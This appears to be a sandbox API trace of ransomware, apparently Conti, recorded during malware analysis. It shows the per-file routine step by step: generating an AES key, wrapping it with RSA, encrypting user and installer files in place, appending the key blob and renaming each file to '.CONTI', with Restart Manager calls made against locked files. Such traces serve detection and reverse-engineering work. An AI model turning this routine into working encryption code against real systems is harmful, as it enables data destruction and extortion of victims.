	[0141.193] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav"
	[0141.193] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav.CONTI"
	[0141.193] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\8d0-xosizxk.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\8d0-xosizxk.wav.conti")) returned 1
	[0141.194] GetProcessHeap () returned 0x1720000
	[0141.194] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.194] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0141.194] GetProcessHeap () returned 0x1720000
	[0141.194] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d80e8 | out: hHeap=0x1720000) returned 1
	[0141.194] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0141.194] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c4f8 | out: phKey=0x6b4c4f8*=0x6b7f1b8) returned 1
	[0141.194] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c4fc, pdwDataLen=0x41ffb3c | out: pbData=0x6b4c4fc*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0141.195] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\cmswhdoe4s-a.m4a")) returned 0x20
	[0141.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\cmswhdoe4s-a.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0141.195] GetLastError () returned 0x0
	[0141.195] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=4911) returned 1
	[0141.195] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x132f
	[0141.195] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.195] SetEndOfFile (hFile=0x430) returned 1
	[0141.196] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.196] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.196] WriteFile (in: hFile=0x430, lpBuffer=0x6b4c4fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4c4fc*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0141.202] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.202] ReadFile (in: hFile=0x430, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x132f, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x132f, lpOverlapped=0x0) returned 1
	[0141.203] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x132f, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1330) returned 1
	[0141.203] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.203] WriteFile (in: hFile=0x430, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x1330, lpOverlapped=0x0) returned 1
	[0141.203] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.203] WriteFile (in: hFile=0x430, lpBuffer=0x6b4c4f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4c4f0*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0141.203] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.203] CloseHandle (hObject=0x430) returned 1
	[0141.203] GetProcessHeap () returned 0x1720000
	[0141.203] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.203] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a"
	[0141.203] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a.CONTI"
	[0141.203] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\cmswhdoe4s-a.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\cMsWhdoE4S-a.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\cmswhdoe4s-a.m4a.conti")) returned 1
	[0141.204] GetProcessHeap () returned 0x1720000
	[0141.204] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.204] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0141.204] GetProcessHeap () returned 0x1720000
	[0141.204] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d75c0 | out: hHeap=0x1720000) returned 1
	[0141.204] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0141.204] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c740 | out: phKey=0x6b4c740*=0x6b7f1b8) returned 1
	[0141.204] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c744, pdwDataLen=0x41ffb3c | out: pbData=0x6b4c744*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0141.205] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\fxlbx7bw1so-9zw.m4a")) returned 0x20
	[0141.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\fxlbx7bw1so-9zw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0141.210] GetLastError () returned 0x0
	[0141.210] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=6305) returned 1
	[0141.210] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18a1
	[0141.210] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.210] SetEndOfFile (hFile=0x430) returned 1
	[0141.210] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.210] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.211] WriteFile (in: hFile=0x430, lpBuffer=0x6b4c744*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4c744*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0141.827] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.827] ReadFile (in: hFile=0x430, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x18a1, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x18a1, lpOverlapped=0x0) returned 1
	[0141.828] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x18a1, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x18b0) returned 1
	[0141.828] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.828] WriteFile (in: hFile=0x430, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x18b0, lpOverlapped=0x0) returned 1
	[0141.828] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.828] WriteFile (in: hFile=0x430, lpBuffer=0x6b4c738*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4c738*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0141.828] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.828] CloseHandle (hObject=0x430) returned 1
	[0141.828] GetProcessHeap () returned 0x1720000
	[0141.828] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.925] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a"
	[0141.925] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a.CONTI"
	[0141.925] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\fxlbx7bw1so-9zw.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\FxLBX7BW1SO-9zw.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\fxlbx7bw1so-9zw.m4a.conti")) returned 1
	[0141.926] GetProcessHeap () returned 0x1720000
	[0141.926] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.926] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0141.926] GetProcessHeap () returned 0x1720000
	[0141.926] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02e08 | out: hHeap=0x1720000) returned 1
	[0141.926] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0141.926] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c2b0 | out: phKey=0x6b4c2b0*=0x6b7f1b8) returned 1
	[0141.926] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c2b4, pdwDataLen=0x41ffb3c | out: pbData=0x6b4c2b4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0141.929] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf")) returned 0x26
	[0141.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0141.929] GetLastError () returned 0x20
	[0141.929] RmStartSession () returned 0x0
	[0141.939] RmRegisterResources () returned 0x0
	[0142.131] RmGetList () returned 0xea
	[0145.276] RmShutdown () 

Thread:
	id = 157
	os_tid = 0xfa8

	[0093.063] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xb6e0000
	[0093.063] CryptAcquireContextA (in: phProv=0x433f9f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x433f9f0*=0x175ea88) returned 1
	[0093.066] CryptImportKey (in: hProv=0x175ea88, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x433f9ec | out: phKey=0x433f9ec*=0x175dd70) returned 1
	[0093.066] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0093.756] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x175e4b0) returned 1
	[0093.756] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x433f9bc | out: pbData=0x17d5b0c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0093.764] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80
	[0093.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.769] GetLastError () returned 0x0
	[0093.769] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=79634) returned 1
	[0093.769] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13712
	[0093.769] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.769] SetEndOfFile (hFile=0x34c) returned 1
	[0093.769] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.769] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.769] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0093.771] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.771] ReadFile (in: hFile=0x34c, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x13712, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x13712, lpOverlapped=0x0) returned 1
	[0093.773] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x13712, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x13720) returned 1
	[0093.774] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.774] WriteFile (in: hFile=0x34c, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x13720, lpOverlapped=0x0) returned 1
	[0093.774] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.774] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0093.774] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.774] CloseHandle (hObject=0x34c) returned 1
	[0093.776] GetProcessHeap () returned 0x1720000
	[0093.776] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7750
	[0093.777] lstrcpyW (in: lpString1=0x17c7750, lpString2="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml"
	[0093.777] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.CONTI"
	[0093.777] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.conti")) returned 1
	[0093.777] GetProcessHeap () returned 0x1720000
	[0093.777] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7750 | out: hHeap=0x1720000) returned 1
	[0093.777] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.777] GetProcessHeap () returned 0x1720000
	[0093.777] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0c60 | out: hHeap=0x1720000) returned 1
	[0093.777] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0094.076] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x175e4b0) returned 1
	[0094.076] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x433f9bc | out: pbData=0x17d244c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0094.078] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80
	[0094.078] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.078] GetLastError () returned 0x0
	[0094.078] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=4015) returned 1
	[0094.078] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfaf
	[0094.078] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.078] SetEndOfFile (hFile=0x34c) returned 1
	[0094.078] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.078] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.078] WriteFile (in: hFile=0x34c, lpBuffer=0x17d244c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17d244c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0094.081] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.081] ReadFile (in: hFile=0x34c, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xfaf, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xfaf, lpOverlapped=0x0) returned 1
	[0094.081] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xfaf, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xfb0) returned 1
	[0094.081] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.081] WriteFile (in: hFile=0x34c, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xfb0, lpOverlapped=0x0) returned 1
	[0094.081] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.081] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17d2440*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0094.081] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.081] CloseHandle (hObject=0x34c) returned 1
	[0094.082] GetProcessHeap () returned 0x1720000
	[0094.082] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
